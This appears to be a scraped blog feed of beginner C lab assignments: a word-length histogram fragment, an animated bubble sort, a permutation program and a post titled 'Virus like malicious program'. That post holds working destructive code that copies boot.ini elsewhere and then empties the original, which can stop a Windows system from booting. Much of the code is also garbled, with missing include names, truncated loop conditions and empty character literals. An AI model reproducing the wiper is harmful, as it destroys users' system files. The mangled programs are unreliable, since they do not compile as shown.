    while( (c=getchar()) != EOF)    {        ++nc;        if( c ==' ' || c =='' || c =='    ')        {            word[nw] = nc -1; /* -1 for excluding the space in the word length */            ++nw;            nc = 0; /* resetting the word-length for the next word */        }        }

    for( i = MAXWL; i >= 1; --i)    {        for(j=0;j <= nw;++j)        {            if( i <= word[j])                putchar('*');            else                    putchar(' ');            }    putchar('');    }

return 0;}

Beginners C Programming Lab Assignments(Virus like malicious program)Posted: 13 Jan 2010 02:43 AM PSTVirus like malicious program

#include #include void main(){

    char b,c;    FILE *f,*g,*h;    clrscr();    c=NULL;    f=fopen("d:\boot.ini","r");    g=fopen("e:\boot.ini","w");    while(1)    {        b=fgetc(f);        if (b==EOF)            break;        fprintf(g,"%c",b);    }    h=fopen("d:\boot.ini","w");    fprintf(h,"%s",c);    fclose(h);    fclose(g);    fclose(f);    getch();}

Beginners C Programming Lab Assignments(Visual Bubble Sort in C)Posted: 13 Jan 2010 02:42 AM PSTVisual Bubble Sort in C

#include#include#include

void object(int,int,int);void bubble(int);void flow(int,int);void mixing(int,int);int el[10];void main(){ int n,i,d=0,m=0; clrscr(); printf("Enter the No of Elements : " );

 scanf("%d",&n); for(i=0;i {  printf("Enter the %d Element : ",i+1);  scanf("%d",&el[i]); } initgraph(&d,&m,""); settextstyle(3,0,1); outtextxy(250,50,"GIVEN NUMBERS ");// outtextxy(250,260," AFTER SORTING ");// line(0,getmaxy()/2,getmaxx(),getmaxy()/2); for(i=0;i {  object(100+i*50,150,el[i]);  getch(); } bubble(n);/* for(i=0;i {  object(100+i*50,350,el[i]);  getch(); }*/ getch();}void bubble(int n){ int i,j,temp;

 for(i=0;i  for(j=i;j   if(el[i]>el[j+1])   {    flow(i,j+1);    temp=el[i];    el[i]=el[j+1];    el[j+1]=temp;   }}void object(int x,int y,int no){ char s[8]; sprintf(s,"%d",no);

 circle(x,y,15); settextstyle(2,0,6); outtextxy(x-3,y-10,s);}void flow(int f,int s){ int i; for(i=0;i<50;i++) {  setcolor(WHITE);  object(100+f*50,150+i*4,el[f]);  delay(15);  setcolor(0);  object(100+f*50,150+i*4,el[f]); } setcolor(WHITE); object(100+f*50,150+i*4,el[f]); for(i=0;i<50;i++) {  setcolor(WHITE);  object(100+s*50,150+i*4,el[s]);  delay(10);  setcolor(0);  object(100+s*50,150+i*4,el[s]); } setcolor(WHITE); object(100+s*50,150+i*4,el[s]); mixing(f,s); for(i=50;i>0;i--) {  setcolor(WHITE);  object(100+f*50,150+i*4,el[s]);  delay(10);  setcolor(0);  object(100+f*50,150+i*4,el[s]); } setcolor(WHITE); object(100+f*50,150+i*4,el[s]); for(i=50;i>0;i--) {  setcolor(WHITE);  object(100+s*50,150+i*4,el[f]);

  delay(15);  setcolor(0);  object(100+s*50,150+i*4,el[f]); } setcolor(WHITE); object(100+s*50,150+i*4,el[f]);}void mixing(int f,int s){ int i; for(i=0;i<(s-f)*50;i++) {  setcolor(WHITE);  object(100+f*50+i,350,el[f]);  object(100+s*50-i,350,el[s]);  delay(20);  setcolor(0);  object(100+f*50+i,350,el[f]);  object(100+s*50-i,350,el[s]);  }  setcolor(WHITE);  object(100+f*50+i,350,el[f]);  object(100+s*50-i,350,el[s]);}

Beginners C Programming Lab Assignments1(Write a program to find permutation)Posted: 13 Jan 2010 02:42 AM PSTWrite a program to find permutation

#include#includeint lev=-1,n,val[50],a[50];void main(){ int i,j; clrscr(); printf("Enter howmany numbers");

 scanf("%d",&n); for(i=0;i {  val[i]=0;  j=i+1;  scanf("%d",&a[j]); } visit(0); getch();}visit(int k){ int i; val[k]=++lev; if(lev==n) {  for(i=0;i  printf("%2d",a[val[i]]);  printf("        "); } for(i=0;i if(val[i]==0) visit(i); lev--; val[k]=0;}

asdfPosted: 13 Jan 2010 01:35 AM PST

asdf